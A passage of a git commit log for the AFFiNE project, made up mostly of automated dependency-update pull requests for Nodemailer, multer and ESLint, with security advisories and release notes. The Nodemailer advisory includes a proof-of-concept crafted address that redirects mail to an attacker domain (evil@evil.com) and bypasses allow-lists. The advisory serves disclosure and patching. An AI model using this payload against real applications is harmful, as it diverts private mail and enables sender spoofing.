<evil@evil.com>` as a comment, and Nodemailer read it as the address `evil@evil.com`. This is the same shape as the escaped parenthesis fixed in 10.1.2, reached through nesting instead of a quoted-pair. Affected: 3.0.0 through 10.1.3. ##### Attacker capabilities The attacker controls the text of an address that an application passes to Nodemailer, or the From or To header of an inbound message parsed with mailparser. No access to the application, its configuration or its credentials is needed. The value is a syntactically valid RFC 5322 address that conformant parsers accept without defects. ##### Realistic exploitation scenario An application validates a submitted address with a conformant parser and allows only its own domain. The attacker submits `Victim (x(y) <evil@evil.com>) <v@victim.com>`, which validates as `v@victim.com`. Nodemailer delivers to `evil@evil.com`. In the inbound direction, a DMARC or display layer built on a conformant parser and a mail client built on mailparser disagree on the author of the same message, which is the setting for sender spoofing. The boundary crossed is the application's recipient allow list, or the author check of the receiving side. ##### Proof of concept ```js const addressparser = require('nodemailer/lib/addressparser'); console.log(addressparser("Victim (x(y) <evil@evil.com>) <v@victim.com>")); // [ { address: 'evil@evil.com', name: 'Victim) v@victim.com' } ] ``` Python's `email._header_value_parser.get_address_list` reads the same value as `v@victim.com` with the display name `Victim`, with no defects reported. The envelope a message gets is built from the same parse, so `sendMail({ to: "Victim (x(y) <evil@evil.com>) <v@victim.com>" })` issues the RCPT TO shown above. ##### Security impact Mail intended for an approved recipient is delivered to an attacker chosen domain, disclosing its content, and parsers built on this module report a different author than conformant ones. The misreading only occurs on values a conformant validator approves, so correct validation is bypassed. Affected are applications that pass user influenced addresses to Nodemailer and consumers of the standalone parser such as mailparser. The fix counts comment depth and ends a comment only at the `)` that closes the outermost one. Found in an internal review of addressparser on 2026-10-18. Verified on 3.0.0, 6.9.16 and 10.1.3. #### Severity - CVSS Score: 6.5 / 10 (Medium) - Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N` #### References - [https://github.com/nodemailer/nodemailer/security/advisories/GHSA-8c8m-p3m8-cjg8](https://redirect.github.com/nodemailer/nodemailer/security/advisories/GHSA-8c8m-p3m8-cjg8) - [https://github.com/nodemailer/nodemailer/commit/0a8761762ac78f2db2ba37f712f2a52a404ce011](https://redirect.github.com/nodemailer/nodemailer/commit/0a8761762ac78f2db2ba37f712f2a52a404ce011) - [https://github.com/nodemailer/nodemailer/releases/tag/v10.1.4](https://redirect.github.com/nodemailer/nodemailer/releases/tag/v10.1.4) - [https://github.com/advisories/GHSA-8c8m-p3m8-cjg8](https://redirect.github.com/advisories/GHSA-8c8m-p3m8-cjg8) This data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-8c8m-p3m8-cjg8) ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Release Notes <details> <summary>nodemailer/nodemailer (nodemailer)</summary> ### [`v10.1.4`](https://redirect.github.com/nodemailer/nodemailer/blob/HEAD/CHANGELOG.md#1014-2026-10-18) [Compare Source](https://redirect.github.com/nodemailer/nodemailer/compare/v10.1.3...v10.1.4) ##### Bug Fixes - **addressparser:** apply the unexpected "<" rule outside quotes and comments ([ee35f57](https://redirect.github.com/nodemailer/nodemailer/commit/ee35f5745658bf46952651fa53207255e9dc3406)) - **addressparser:** bound group nesting at ten levels ([ce63303](https://redirect.github.com/nodemailer/nodemailer/commit/ce633031d58f8d2e9c9b0f5b671944a1afe71f95)) - **addressparser:** drop the obsolete route from an angle-addr ([3dbc730](https://redirect.github.com/nodemailer/nodemailer/commit/3dbc7304b0cfa06551543fa2dc01222447c2b554)) - **addressparser:** end a comment only at the ")" that closes the outermost one ([0a87617](https://redirect.github.com/nodemailer/nodemailer/commit/0a8761762ac78f2db2ba37f712f2a52a404ce011)) - **addressparser:** honour quoted strings and comments inside an angle-addr and a group ([1cd57d2](https://redirect.github.com/nodemailer/nodemailer/commit/1cd57d2b8c49dff048c21cdbafdb54439a7f07e2)) - **addressparser:** never read a mailbox out of a comment ([a1538ea](https://redirect.github.com/nodemailer/nodemailer/commit/a1538ea39c76c48a4134806c41e31e59a258b1e5)) - **addressparser:** read CFWS beside the "@​" of an addr-spec as nothing ([ba3c095](https://redirect.github.com/nodemailer/nodemailer/commit/ba3c0952542581f95cb20d9322cc9e27baa470a2)) - **addressparser:** read the first addr-spec of the display text ([038940a](https://redirect.github.com/nodemailer/nodemailer/commit/038940a069a2cecb64a70d0e81b17eb8ce200d3a)) - split a domain literal off at the "@​" in front of it ([d5983b0](https://redirect.github.com/nodemailer/nodemailer/commit/d5983b0ae234cd22ab45be817fefd434e9a53d58)) ### [`v10.1.3`](https://redirect.github.com/nodemailer/nodemailer/blob/HEAD/CHANGELOG.md#1013-2026-10-18) [Compare Source](https://redirect.github.com/nodemailer/nodemailer/compare/v10.1.2...v10.1.3) ##### Bug Fixes - format References and strip URLs in linear time, release any number of streams ([2f18641](https://redirect.github.com/nodemailer/nodemailer/commit/2f186418cf6c8fff18f235d4318892fd42f810fa)) ### [`v10.1.2`](https://redirect.github.com/nodemailer/nodemailer/blob/HEAD/CHANGELOG.md#1012-2026-10-16) [Compare Source](https://redirect.github.com/nodemailer/nodemailer/compare/v10.1.1...v10.1.2) ##### Bug Fixes - bound the work a message can make the mailer do and keep per-message auth off the transport's token endpoint ([e347fa2](https://redirect.github.com/nodemailer/nodemailer/commit/e347fa2260a7e342e772a7e187937aa87ac96364)) ### [`v10.1.1`](https://redirect.github.com/nodemailer/nodemailer/blob/HEAD/CHANGELOG.md#1011-2026-10-14) [Compare Source](https://redirect.github.com/nodemailer/nodemailer/compare/v10.1.0...v10.1.1) ##### Bug Fixes - **fetch:** strip credentials on any cross-origin redirect ([a15360c](https://redirect.github.com/nodemailer/nodemailer/commit/a15360cd2cd12e4670e96ab0b7290e8c862391cf)) ### [`v10.1.0`](https://redirect.github.com/nodemailer/nodemailer/blob/HEAD/CHANGELOG.md#1010-2026-10-10) [Compare Source](https://redirect.github.com/nodemailer/nodemailer/compare/v10.0.16...v10.1.0) ##### Features - harden message streams, SMTP connections and the connection pool ([8009da6](https://redirect.github.com/nodemailer/nodemailer/commit/8009da6e10bb8e10d7f0948a25d65895fdcd64f1)) ##### Bug Fixes - do not read the environment or the interface table on import ([094179d](https://redirect.github.com/nodemailer/nodemailer/commit/094179d176d2ebe7a28742411ad427d3c87a3981)) - end the SMTP session on any 421 reply and drive the envelope through one step ([5638ac1](https://redirect.github.com/nodemailer/nodemailer/commit/5638ac1914342460df270f736e7ceb0a844cf83a)) - keep ERR_ACCESS_DENIED from the Node.js permission model ([8b33a3d](https://redirect.github.com/nodemailer/nodemailer/commit/8b33a3d4fedee3431b97da7da12af954c3c8dceb)) - let the proxy handshake and the SMTP connection share one deadline ([91ed683](https://redirect.github.com/nodemailer/nodemailer/commit/91ed683f7a1e9ff8c56e24fb76facf16af08b162)) - **mime-node:** decode an SMTPUTF8 domain from its A-label form ([e436f4d](https://redirect.github.com/nodemailer/nodemailer/commit/e436f4dccbc8b0fb57b4747ebaafa5bb035c15cb)) - **mime-node:** finish an encoded part only after its output was read ([ec97d8f](https://redirect.github.com/nodemailer/nodemailer/commit/ec97d8f679a1d9d47bbebb03ea064f5fa6f58d01)) - **qp:** encode a lone CR or LF in binary quoted-printable parts ([42b91d9](https://redirect.github.com/nodemailer/nodemailer/commit/42b91d9a0fe18eea412c9774c5c142adf5b3efc7)) - **smtp-connection:** count the wait for the greeting against connectionTimeout ([bdcd046](https://redirect.github.com/nodemailer/nodemailer/commit/bdcd0462cab163eca3c34058d09b9981ab671c47)) - **smtp-connection:** drop the connection when DATA is taken after a refused sender ([f90fb04](https://redirect.github.com/nodemailer/nodemailer/commit/f90fb045bc24f96a128710791b2fa443e64f55fd)) - **smtp-connection:** refuse a second connect() call ([24ba2e0](https://redirect.github.com/nodemailer/nodemailer/commit/24ba2e0847ecb8202540f1c5e53483bd119ae4f2)) - turn Nagle off for SMTP sockets and report an early sendmail exit as such ([fa9b8d3](https://redirect.github.com/nodemailer/nodemailer/commit/fa9b8d300bf642cd9e11f6732ebb312c09868677)) ##### Performance Improvements - encode base64 and quoted-printable without per-chunk delays ([fd377bb](https://redirect.github.com/nodemailer/nodemailer/commit/fd377bbf559363860aedbedba6f107348fc152d2)) ### [`v10.0.16`](https://redirect.github.com/nodemailer/nodemailer/blob/HEAD/CHANGELOG.md#10016-2026-10-07) [Compare Source](https://redirect.github.com/nodemailer/nodemailer/compare/v10.0.15...v10.0.16) ##### Bug Fixes - **addressparser:** keep an escaped parenthesis inside a comment ([c4ae20d](https://redirect.github.com/nodemailer/nodemailer/commit/c4ae20d074ac0510cc2d0cbd6039ee7fab3a4ca8)) - **fetch:** keep the case of cookie names ([#​1888](https://redirect.github.com/nodemailer/nodemailer/issues/1888)) ([9f16eed](https://redirect.github.com/nodemailer/nodemailer/commit/9f16eedf8de0485e6d07969113db992ff70f89ce)) - **fetch:** read the cookie name-value pair by position ([645e97c](https://redirect.github.com/nodemailer/nodemailer/commit/645e97c8f0586404d9fb861c9527be7572c2c832)) ### [`v10.0.15`](https://redirect.github.com/nodemailer/nodemailer/blob/HEAD/CHANGELOG.md#10015-2026-10-05) [Compare Source](https://redirect.github.com/nodemailer/nodemailer/compare/v10.0.14...v10.0.15) ##### Bug Fixes - **errors:** inherit NodemailerError code from ErrnoException ([e99db61](https://redirect.github.com/nodemailer/nodemailer/commit/e99db61d51c244e184a3a79103d1d732ffb6376b)), closes [#​1884](https://redirect.github.com/nodemailer/nodemailer/issues/1884) - **errors:** keep NodemailerError compatible with [@​types/node](https://redirect.github.com/types/node) 26 ErrnoException ([#​1885](https://redirect.github.com/nodemailer/nodemailer/issues/1885)) ([b660328](https://redirect.github.com/nodemailer/nodemailer/commit/b6603286cc45bff52c13cc74e5ac47f424452fdc)) ### [`v10.0.14`](https://redirect.github.com/nodemailer/nodemailer/blob/HEAD/CHANGELOG.md#10014-2026-10-03) [Compare Source](https://redirect.github.com/nodemailer/nodemailer/compare/v10.0.13...v10.0.14) ##### Bug Fixes - **addressparser:** keep a quoted display name that holds no "@​" out of the address ([3570d26](https://redirect.github.com/nodemailer/nodemailer/commit/3570d26c7b55f6e5df50d4076046600ad3fd040b)) - **addressparser:** keep the group recursion depth out of the options object ([a680254](https://redirect.github.com/nodemailer/nodemailer/commit/a68025405a1378c82e78f64ffad27b92c1035cbe)) - **addressparser:** stop a "\[" from hiding the operators after it ([5619784](https://redirect.github.com/nodemailer/nodemailer/commit/561978491d5cc33d2052a6c89a499b838b960262)) - **dkim:** trim a header field name in linear time ([c6f7a55](https://redirect.github.com/nodemailer/nodemailer/commit/c6f7a55a2978bf031b8519ebf59baddf94c032c8)) - **mime-funcs:** read and write header parameters per rfc2045 and rfc2231 ([b8ccad7](https://redirect.github.com/nodemailer/nodemailer/commit/b8ccad723a7e49a674a4d70f32eb9fe77312008d)) - search only the new bytes for the end of the proxy CONNECT response ([81efd7b](https://redirect.github.com/nodemailer/nodemailer/commit/81efd7bfc559305f900d6a22b5c56aa94556002b)) </details> --- ### Configuration 📅 **Schedule**: (UTC) - Branch creation - At any time (no schedule defined) - Automerge - At any time (no schedule defined) 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC4xODAuMCIsInVwZGF0ZWRJblZlciI6IjQ0LjE4MC4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==--> Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com> |
||
|
|
e8aae4e443 |
chore: bump up multer version to v2.5.0 [SECURITY] (#15737)
This PR contains the following updates: | Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/) | [Confidence](https://docs.renovatebot.com/merge-confidence/) | |---|---|---|---| | [multer](https://redirect.github.com/expressjs/multer) | [`2.4.0` → `2.5.0`](https://renovatebot.com/diffs/npm/multer/2.4.0/2.5.0) |  |  | --- ### multer vulnerable to Denial of Service via a pending asynchronous fileFilter after request teardown [CVE-2026-113872](https://nvd.nist.gov/vuln/detail/CVE-2026-113872) / [GHSA-q7qp-rjg7-q26m](https://redirect.github.com/advisories/GHSA-q7qp-rjg7-q26m) <details> <summary>More information</summary> #### Details ##### Impact When `multer` is configured with an asynchronous `fileFilter`, a single request can crash the Node.js process. If a request is aborted (for example when one file is rejected) while another file's async `fileFilter` is still pending, the pending callback later resumes a parsing stream that multer has already torn down. busboy then emits an error on a stream that no longer has an error listener, which Node raises as an unhandled `'error'` event, and the process exits. A single unauthenticated request is enough, so any application using `multer` with an asynchronous `fileFilter` is affected, regardless of storage engine. Uploads using a synchronous `fileFilter` are not affected. ##### Patches Users should upgrade to `multer` `2.5.0` or later. ##### Workarounds Use a synchronous `fileFilter`. #### Severity - CVSS Score: 7.5 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H` #### References - [https://github.com/expressjs/multer/security/advisories/GHSA-q7qp-rjg7-q26m](https://redirect.github.com/expressjs/multer/security/advisories/GHSA-q7qp-rjg7-q26m) - [https://nvd.nist.gov/vuln/detail/CVE-2026-113872](https://nvd.nist.gov/vuln/detail/CVE-2026-113872) - [https://github.com/expressjs/multer/commit/80a2d9df1dfd63b5fab631b8b9966164ed647adf](https://redirect.github.com/expressjs/multer/commit/80a2d9df1dfd63b5fab631b8b9966164ed647adf) - [https://cna.openjsf.org/security-advisories.html](https://cna.openjsf.org/security-advisories.html) - [https://github.com/expressjs/multer/releases/tag/v2.5.0](https://redirect.github.com/expressjs/multer/releases/tag/v2.5.0) - [https://github.com/advisories/GHSA-q7qp-rjg7-q26m](https://redirect.github.com/advisories/GHSA-q7qp-rjg7-q26m) This data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-q7qp-rjg7-q26m) ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Release Notes <details> <summary>expressjs/multer (multer)</summary> ### [`v2.5.0`](https://redirect.github.com/expressjs/multer/blob/HEAD/CHANGELOG.md#250) [Compare Source](https://redirect.github.com/expressjs/multer/compare/v2.4.0...v2.5.0) - Fix [CVE-2026-113872](https://www.cve.org/CVERecord?id=CVE-2026-113872) ([GHSA-q7qp-rjg7-q26m](https://redirect.github.com/expressjs/multer/security/advisories/GHSA-q7qp-rjg7-q26m)) - Accept a field value of exactly `limits.fieldSize` bytes, so `LIMIT_FIELD_VALUE` fires only when the limit is exceeded. This also covers the default `fieldSize` of 1MB, so a [`1048576`](https://redirect.github.com/expressjs/multer/commit/1048576) byte value is no longer rejected when you set no limits. If you set `fieldSize` one higher to work around this, you can drop the extra one ([#​1481](https://redirect.github.com/expressjs/multer/pull/1481)) - Do not add a file to the abort cleanup list when its storage engine reports an error after a `LIMIT_FILE_SIZE` abort; `DiskStorage` no longer tries to unlink an undefined path ([#​1489](https://redirect.github.com/expressjs/multer/pull/1489)) </details> --- ### Configuration 📅 **Schedule**: (UTC) - Branch creation - At any time (no schedule defined) - Automerge - At any time (no schedule defined) 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC4xODAuMCIsInVwZGF0ZWRJblZlciI6IjQ0LjE4MC4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==--> Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com> |
||
|
|
733d839bcf | chore: cleanup codes v0.27.5-beta.2 | ||
|
|
fbf2cebfa0 |
fix(server): data migration (#15730)
#### PR Dependency Tree * **PR #15730** 👈 This tree was auto-generated by [Charcoal](https://github.com/danerwilliams/charcoal) <!-- This is an auto-generated comment: release notes by coderabbit.ai --> <!-- coderabbit-ai-generated:v1 --> ## Summary by CodeRabbit * **Bug Fixes** * Payment records missing provider or source identity now require repair instead of being automatically adopted or matched through legacy identifiers. * RevenueCat subscription confirmation checks for expected subscription identities, and subscription entitlements include provider and recurrence details. * Pending uploads with missing expiration dates remain pending during cutover rather than being marked deleted. * **Improvements** * Embedding projections are refreshed when source content or revision details change, with updated processing order. <!-- end of auto-generated comment: release notes by coderabbit.ai -->v2026.10.23-canary.908 |
||
|
|
e32f8dce04 |
chore: bump deps (#15729)
#### PR Dependency Tree * **PR #15729** 👈 This tree was auto-generated by [Charcoal](https://github.com/danerwilliams/charcoal) <!-- This is an auto-generated comment: release notes by coderabbit.ai --> <!-- coderabbit-ai-generated:v1 --> ## Summary by CodeRabbit * **Deployment** * Updated the Cloud SQL Proxy image and integrated it with deployment charts. * Containers now run with stricter security settings, including non-root execution and read-only filesystems. * **Desktop** * Updated Electron and Node versions and adjusted Windows builds to support multiple architectures. * **Maintenance** * Updated Vite and Storybook versions across development tools. * Improved production GraphQL schema handling. <!-- end of auto-generated comment: release notes by coderabbit.ai -->v2026.10.22-canary.909 |
||
|
|
0b69a6da21 |
fix(server): blob sync timing (#15704)
#### PR Dependency Tree * **PR #15704** 👈 This tree was auto-generated by [Charcoal](https://github.com/danerwilliams/charcoal) <!-- This is an auto-generated comment: release notes by coderabbit.ai --> ## Summary by CodeRabbit * **Bug Fixes** * Blob uploads now use the latest workspace storage limit, so uploads can proceed after a quota change without relying on a stale limit. * Upload cancellation is limited to the matching upload, preventing unrelated uploads from being aborted. * Failed or stale storage reservations can be retried more reliably, while deleted storage keys and comment attachments remain protected from unauthorized reuse. * **Reliability** * Upload and reservation failures now include contextual logging to aid troubleshooting. <!-- end of auto-generated comment: release notes by coderabbit.ai -->v2026.10.12-canary.921 |
||
|
|
f37340127b |
feat(server): handle m4a slice (#15703)
fix #15594 #### PR Dependency Tree * **PR #15703** 👈 This tree was auto-generated by [Charcoal](https://github.com/danerwilliams/charcoal) <!-- This is an auto-generated comment: release notes by coderabbit.ai --> ## Summary by CodeRabbit * **New Features** * Added support for recovering transcripts from MP4 and M4A audio, alongside existing Ogg and Opus formats. * Added MP4 audio slicing, including support for edit-list trimming and checks for invalid or unsupported audio. * **Bug Fixes** * Improved handling of unsupported audio inputs during transcript recovery. * **Chores** * Updated the LLM adapter and runtime dependencies. <!-- end of auto-generated comment: release notes by coderabbit.ai --> |
||
|
|
9be1a8284a |
feat: bump deps (#15698)
<!-- This is an auto-generated comment: release notes by coderabbit.ai --> ## Summary by CodeRabbit * **New Features** * Workspace selection, creation, and navigation after import now use consistent view transitions, including in browsers without native transition support. * **Chores** * Updated supporting components for mathematical notation, diagrams, desktop functionality, and backend services. * Refreshed tools used by the app and its documentation, including components for error reporting and GraphQL operations. These updates do not change the rendered equations. <!-- end of auto-generated comment: release notes by coderabbit.ai -->v2026.10.11-canary.908 |
||
|
|
a047628f82 |
feat(server): transcript truncated (#15697)
fix #14261 #### PR Dependency Tree * **PR #15697** 👈 This tree was auto-generated by [Charcoal](https://github.com/danerwilliams/charcoal) <!-- This is an auto-generated comment: release notes by coderabbit.ai --> ## Summary by CodeRabbit * **New Features** * Meeting transcription can process longer recordings in shorter sections and combine the results into a transcript and summary. * If a transcription provider blocks audio, recoverable sections can be retried. Unavailable sections are marked in the transcript, and summaries focus on available speech. * Transcript timestamps are aligned with their audio sections, including when providers return timestamps in different formats. * **Bug Fixes** * Audio transcription failures now display a clear, localized message, with details available on focus. Long error text wraps within the player. <!-- end of auto-generated comment: release notes by coderabbit.ai --> |
||
|
|
1e725357af |
fix(native): improve obsidian & onenote import (#15695)
fix #15659 fix #15629 replace #15640 #### PR Dependency Tree * **PR #15695** 👈 This tree was auto-generated by [Charcoal](https://github.com/danerwilliams/charcoal) <!-- This is an auto-generated comment: release notes by coderabbit.ai --> ## Summary by CodeRabbit * **Import Improvements** * Repeated imports now update existing documents without duplicating folder links, while preserving existing dates and metadata. * Invalid document snapshots are rejected without replacing previously imported content. * Existing folders with matching names are reused during import. * **Removed Support** * OneNote file and notebook imports are no longer available. <!-- end of auto-generated comment: release notes by coderabbit.ai --> |
||
|
|
72e42b1c45 |
fix(server): gemini error handle (#15694)
#### PR Dependency Tree * **PR #15694** 👈 This tree was auto-generated by [Charcoal](https://github.com/danerwilliams/charcoal) <!-- This is an auto-generated comment: release notes by coderabbit.ai --> ## Summary by CodeRabbit * **Bug Fixes** * Transcription slices and meeting summaries now retry temporary service failures and empty model responses, helping recover without restarting the transcription. * Transcription stops retrying when a request is cancelled or the failure cannot be recovered, and reports clearer errors when attempts are exhausted. <!-- end of auto-generated comment: release notes by coderabbit.ai --> |
||
|
|
203a7b4f94 |
chore: bump up eslint version to v10 (#14400)
> ℹ️ **Note** > > This PR body was truncated due to platform limits. This PR contains the following updates: | Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/) | [Confidence](https://docs.renovatebot.com/merge-confidence/) | |---|---|---|---| | [eslint](https://eslint.org) ([source](https://redirect.github.com/eslint/eslint)) | [`9.39.2` → `10.12.0`](https://renovatebot.com/diffs/npm/eslint/9.39.2/10.12.0) |  |  | --- ### Release Notes <details> <summary>eslint/eslint (eslint)</summary> ### [`v10.12.0`](https://redirect.github.com/eslint/eslint/releases/tag/v10.12.0) [Compare Source](https://redirect.github.com/eslint/eslint/compare/v10.11.0...v10.12.0) #### Features - [`4618052`](https://redirect.github.com/eslint/eslint/commit/4618052eed6bb3ef420cf0db0490bbda2fd835a5) feat: handle astral letters in `new-cap` ([#​21357](https://redirect.github.com/eslint/eslint/issues/21357)) (sary) - [`4ec5168`](https://redirect.github.com/eslint/eslint/commit/4ec5168d6d6888e3f7b163eb82963d40e45a75fa) feat: allow `SourceCode#getText()` to accept tokens and comments ([#​21340](https://redirect.github.com/eslint/eslint/issues/21340)) (electrohyun) #### Bug Fixes - [`bc51eee`](https://redirect.github.com/eslint/eslint/commit/bc51eee6e3e816622b2dd1bc08acb9cfb2d3a6a7) fix: `prefer-arrow-callback` false positive in conditional test ([#​21373](https://redirect.github.com/eslint/eslint/issues/21373)) (Daniel Pinto) - [`bbff86c`](https://redirect.github.com/eslint/eslint/commit/bbff86c41521cc435e20754e26007f657a843038) fix: skip lines with multiple comments in `max-lines-per-function` ([#​21332](https://redirect.github.com/eslint/eslint/issues/21332)) (xbinaryx) - [`efc4d6b`](https://redirect.github.com/eslint/eslint/commit/efc4d6bdc4c4d1dfba8bdab6a8f44f27a1b1d00a) fix: astral letters in `consistent-return`, `no-eval`, `no-invalid-this` ([#​21360](https://redirect.github.com/eslint/eslint/issues/21360)) (lumir) - [`93de066`](https://redirect.github.com/eslint/eslint/commit/93de066d4125f8df013d40305e8009f4634a5cba) fix: prefer-exponentiation-operator autofix for async function base ([#​21322](https://redirect.github.com/eslint/eslint/issues/21322)) (Vladimir Babin) - [`02e34ff`](https://redirect.github.com/eslint/eslint/commit/02e34ffba6adbed72365177c7caee71d950834e5) fix: add missing space after `else` in `curly` autofix ([#​21355](https://redirect.github.com/eslint/eslint/issues/21355)) (Pixel) - [`b14b8bc`](https://redirect.github.com/eslint/eslint/commit/b14b8bc213ccfc19d3edcfa9ce6af62622661160) fix: correct `id-length` message for long private names ([#​21348](https://redirect.github.com/eslint/eslint/issues/21348)) (Pixel) - [`69aac01`](https://redirect.github.com/eslint/eslint/commit/69aac01d898837a934c9e735e0b7881cc1df09e8) fix: support `TSFunctionType` in `getFunctionHeadLoc` ([#​21335](https://redirect.github.com/eslint/eslint/issues/21335)) (xbinaryx) - [`686630e`](https://redirect.github.com/eslint/eslint/commit/686630eb34ec1cddf399a4e6eaeebb080116a532) fix: `no-loss-of-precision` false positive with `0.e5` ([#​21337](https://redirect.github.com/eslint/eslint/issues/21337)) (sethamus) #### Documentation - [`67eb586`](https://redirect.github.com/eslint/eslint/commit/67eb586e2eda290813b329d4f40e605ad696bc4f) docs: Update README (GitHub Actions Bot) - [`5370d7e`](https://redirect.github.com/eslint/eslint/commit/5370d7ee35a6523873f798e87f3ccc73779d5d21) docs: clarify `one-var` `separateRequires` matches any `require()` call ([#​21192](https://redirect.github.com/eslint/eslint/issues/21192)) (sethamus) - [`8816c1d`](https://redirect.github.com/eslint/eslint/commit/8816c1ddfcfa31318ad17cddcfb68acffa30940f) docs: Update README (GitHub Actions Bot) - [`3d2e7ce`](https://redirect.github.com/eslint/eslint/commit/3d2e7cedb7409d8a2c5f2c2fafb14fa22790e40e) docs: fix typo in no-unused-expressions documentation ([#​21346](https://redirect.github.com/eslint/eslint/issues/21346)) (bytedoe) #### Chores - [`152067f`](https://redirect.github.com/eslint/eslint/commit/152067f0f81f08b6cce9cf8eeaddb8558731b4f6) chore: update ecosystem plugins ([#​21362](https://redirect.github.com/eslint/eslint/issues/21362)) (ESLint Bot) - [`b56d58e`](https://redirect.github.com/eslint/eslint/commit/b56d58e0b1f3c919a6b7661254af760cdd909d6e) chore: update github/codeql-action action to v4.38.2 ([#​21376](https://redirect.github.com/eslint/eslint/issues/21376)) (renovate\[bot]) - [`bfaea12`](https://redirect.github.com/eslint/eslint/commit/bfaea12ddc30b458fe4cfbb6c306a62b5299c177) perf: cache normalized config globals per languageOptions ([#​21364](https://redirect.github.com/eslint/eslint/issues/21364)) (James Ross) - [`322209e`](https://redirect.github.com/eslint/eslint/commit/322209ef164e8a00a25ec7ca166969ddc853355c) ci: avoid Nx cache in ecosystem tests and disable failing test ([#​21369](https://redirect.github.com/eslint/eslint/issues/21369)) (Francesco Trotta) - [`d166567`](https://redirect.github.com/eslint/eslint/commit/d166567901e09940c1de4ad0e95d572eeab5c927) chore: update dependency prettier to v3.9.9 ([#​21371](https://redirect.github.com/eslint/eslint/issues/21371)) (renovate\[bot]) - [`29585ce`](https://redirect.github.com/eslint/eslint/commit/29585ceba7ad35368d1b763bd1e80d899f28842c) chore: update dependency eslint-plugin-expect-type to ^0.7.0 ([#​21359](https://redirect.github.com/eslint/eslint/issues/21359)) (renovate\[bot]) - [`39d79ba`](https://redirect.github.com/eslint/eslint/commit/39d79ba9650542ac66d585d1899304abd630c07d) chore: update github/codeql-action action to v4.38.1 ([#​21354](https://redirect.github.com/eslint/eslint/issues/21354)) (renovate\[bot]) - [`182a6e9`](https://redirect.github.com/eslint/eslint/commit/182a6e993a8a5dbdad5a628b69ad7382d48bf24f) chore: update dependency prettier to v3.9.8 ([#​21352](https://redirect.github.com/eslint/eslint/issues/21352)) (renovate\[bot]) - [`f995127`](https://redirect.github.com/eslint/eslint/commit/f995127230dad258069c29b7f51971681bd53f00) chore: remove CLAUDE.md in favor of AGENTS.md ([#​21339](https://redirect.github.com/eslint/eslint/issues/21339)) (Jarren) - [`b95fb6c`](https://redirect.github.com/eslint/eslint/commit/b95fb6cb335f82a0ccabb0944ac3b89c703bd947) chore: update dependency prettier to v3.9.7 ([#​21347](https://redirect.github.com/eslint/eslint/issues/21347)) (renovate\[bot]) - [`3782dd4`](https://redirect.github.com/eslint/eslint/commit/3782dd458fdfbe492e600d9a54b295a9721ed815) chore: update ecosystem plugins ([#​21342](https://redirect.github.com/eslint/eslint/issues/21342)) (ESLint Bot) ### [`v10.11.0`](https://redirect.github.com/eslint/eslint/releases/tag/v10.11.0) [Compare Source](https://redirect.github.com/eslint/eslint/compare/v10.10.0...v10.11.0) #### Features - [`d136fa4`](https://redirect.github.com/eslint/eslint/commit/d136fa4b0d2dd4a9e738ca1c012cc674d1441127) feat: object-shorthand handle quoted properties for `ignoreConstructors` ([#​21271](https://redirect.github.com/eslint/eslint/issues/21271)) (Pavel) - [`397b3b8`](https://redirect.github.com/eslint/eslint/commit/397b3b8134b8ce1a61cbf414d4c29c945ba25690) feat: report unsafe labeled `continue` in `no-unsafe-finally` rule ([#​21316](https://redirect.github.com/eslint/eslint/issues/21316)) (electrohyun) - [`d3dd47f`](https://redirect.github.com/eslint/eslint/commit/d3dd47f42e4cb5f9da27e3a2e741aa21e02ea1a4) feat: only exempt `new-cap` built-ins that reference the global ([#​21290](https://redirect.github.com/eslint/eslint/issues/21290)) (sethamus) #### Bug Fixes - [`22b09f5`](https://redirect.github.com/eslint/eslint/commit/22b09f54f67a9512d4cea39ddbab9b6973d5c476) fix: ignore `__proto__` properties in `prefer-object-spread` ([#​21311](https://redirect.github.com/eslint/eslint/issues/21311)) (xbinaryx) - [`b684bb1`](https://redirect.github.com/eslint/eslint/commit/b684bb1cd7e6be03ad1b7a951baead936d9c2166) fix: make TimePass.parse optional in types and docs ([#​21313](https://redirect.github.com/eslint/eslint/issues/21313)) (ntnyq) - [`26d11bc`](https://redirect.github.com/eslint/eslint/commit/26d11bce3e0e21f223613d4bb4be3423839b229e) fix: don't report `__proto__` properties in `object-shorthand` ([#​21310](https://redirect.github.com/eslint/eslint/issues/21310)) (xbinaryx) #### Documentation - [`9ecfdc5`](https://redirect.github.com/eslint/eslint/commit/9ecfdc5319f83580cf3b81beab7e936015fef2fa) docs: note that --cache can serve stale results for cross-file rules ([#​21312](https://redirect.github.com/eslint/eslint/issues/21312)) (bytedoe) - [`6c789ff`](https://redirect.github.com/eslint/eslint/commit/6c789ff39bc5420e94e8dafeb328bf2b7e3d35ab) docs: Update README (GitHub Actions Bot) - 